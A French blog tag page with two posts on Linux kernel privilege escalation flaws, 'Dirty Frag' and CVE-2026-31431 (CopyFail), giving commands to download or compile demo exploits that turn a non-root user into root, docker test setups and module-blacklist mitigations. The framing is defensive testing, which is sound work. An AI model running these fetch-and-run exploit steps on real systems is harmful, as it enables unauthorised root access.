2 articles tagués avec « cybersecurity »

Après copyfail, voici une nouvelle vulnérabilité majeure découverte par Hyunwoo Kim (@v4bel) utilisant l'IA et connue sous le nom de "Dirty Frag" (CVE-2026-43284) qui permet à un utilisateur non root d'escalader ses privilèges et de devenir root.

Nous fournissons une démo que vous pouvez utiliser pour tester si votre système est vulnérable à ce problème.

Tester la vulnérabilité​

Sur une machine locale​

Avec les privilèges root, exécutez la commande suivante pour installer les dépendances nécessaires (si elles ne sont pas déjà installées) :

root# dnf install git gcc -y

Puis sans privilèges root, exécutez les commandes suivantes pour cloner le dépôt et compiler l'exploit :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag.git
$ cd dirtyfrag
$ gcc -O0 -Wall -o dirtyfrag-demo demo.c
$ ./dirtyfrag-demo
root#

Vous pouvez également tester rapidement avec ce script :

$ curl https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag/-/raw/main/dirtyfrag-demo.sh > dirtyfrag-demo.sh
$ chmod +x dirtyfrag-demo.sh
$ ./dirtyfrag-demo.sh
root#

Démo avec AlmaLinux :

root# echo 3 > /proc/sys/vm/drop_caches

Avec docker compose​

Contrairement à CopyFail, cette faille ne semble pas affecter les conteneurs OCI/docker utilisant les images basées sur les principales distributions comme Ubuntu, Alpine ou même AlmaLinux. Vous pouvez le tester avec les commandes suivantes :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag.git >/dev/null 2>&1
$ cd dirtyfrag/
$ docker compose up -d alpine --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-alpine
dirtyfrag: failed (rc=1)
$ docker compose up -d ubuntu --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-ubuntu
dirtyfrag: failed (rc=1)
$ docker compose up -d almalinux --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-almalinux
dirtyfrag: failed (rc=1)

Démo sur un hôte vulnérable :

Mitigation​

Afin de décharger les modules avec modprob, vous pouvez exécuter ce script avec les privilèges root :

root# curl https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag/-/raw/main/dirtyfrag-mitigation.sh > dirtyfrag-mitigation.sh
root# chmod +x dirtyfrag-mitigation.sh
root# ./dirtyfrag-mitigation.sh
root# /sbin/reboot

Conclusion​

Avec l'IA, nous pouvons nous attendre à ce que beaucoup de vulnérabilités de ce type soient découvertes dans le futur, et il est important de les surveiller et d'appliquer les mitigations nécessaires dès que possible vu leur criticité.

Dans ce cas, la mitigation est assez simple et ne nécessite pas de mise à jour du noyau, mais ce n'est pas le cas pour d'autres vulnérabilités (comme CopyFail).

Autres sources et références​

• 🇬🇧 Démo originale de V4bel sur Github

Récemment, Xint a divulgué une vulnérabilité très critique dans le noyau Linux, CVE-2026-31431, qui permet aux attaquants locaux d'obtenir des privilèges root. Plus de détails sur le fonctionnement de cette vulnérabilité peuvent être trouvés dans le blogpost de Xint.

Nous fournissons une démo que vous pouvez utiliser pour tester si votre système est vulnérable.

Tester la vulnérabilité​

Sur une machine locale​

Tout d'abord, assurez-vous de sauvegarder le binaire su sur votre système, car cet exploit peut le modifier :

root# cp /usr/bin/su /usr/bin/su.bak

Ensuite, avec un utilisateur non root, exécutez les commandes suivantes pour lancer le script d'exploitation :

user$ curl https://gitlab.cwcloud.tech/oss/cybersec/cve-2026-31431-demo/-/raw/main/cve-2026-31431.py > cve-2026-31431.py
user$ python3 cve-2026-31431.py
root#

Ensuite, restaurez le binaire su original :

root# mv /usr/bin/su.bak /usr/bin/su

Avec docker compose​

Il est souvent préférable d'utiliser des conteneurs pour une isolation plus sûre sans contaminer votre binaire su :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/cve-2026-31431-demo.git
$ cd cve-2026-31431-demo 
$ docker compose up -d --build --force-recreate
$ docker exec -it cve-2026-31431 /bin/bash
demo@8536b73279be:/app$ su -
#

Mitigation​

Xint a fourni un moyen de mitiger cette vulnérabilité pour plusieurs distributions, y compris Debian ou Ubuntu :

root# echo 3 > /proc/sys/vm/drop_caches
root# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
root# rmmod algif_aead 2>/dev/null || true

Cependant, en raison du 2>/dev/null || true, beaucoup de monde ne semble pas conscient que la mitigation ne fonctionne pas sur toutes les distributions, et en particulier sur les distributions basées sur RHEL (qui ont ce module compilé en tant que builtin dans le kernel), et manquent le message d'erreur suivant :

rmmod: ERROR: Module algif_aead module is builtin.

Voici une démonstration montrant que la mitigation ne fonctionne pas sur Almalinux :

Et malheureusement, toutes les mitigations pour ces distributions impliquent un redémarrage. Voici l'une des plus simples jusqu'à ce qu'un nouveau correctif du noyau soit publié :

root# grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
root# reboot

Voici une démonstration de la mitigation fonctionnant sur le même système Almalinux (après avoir restauré le binaire su original) :

Autres sources et références​

• 🇫🇷 Article de Korben
• 🇬🇧 Blogpost de Xint
• 🇬🇧 Exploit Copy.fail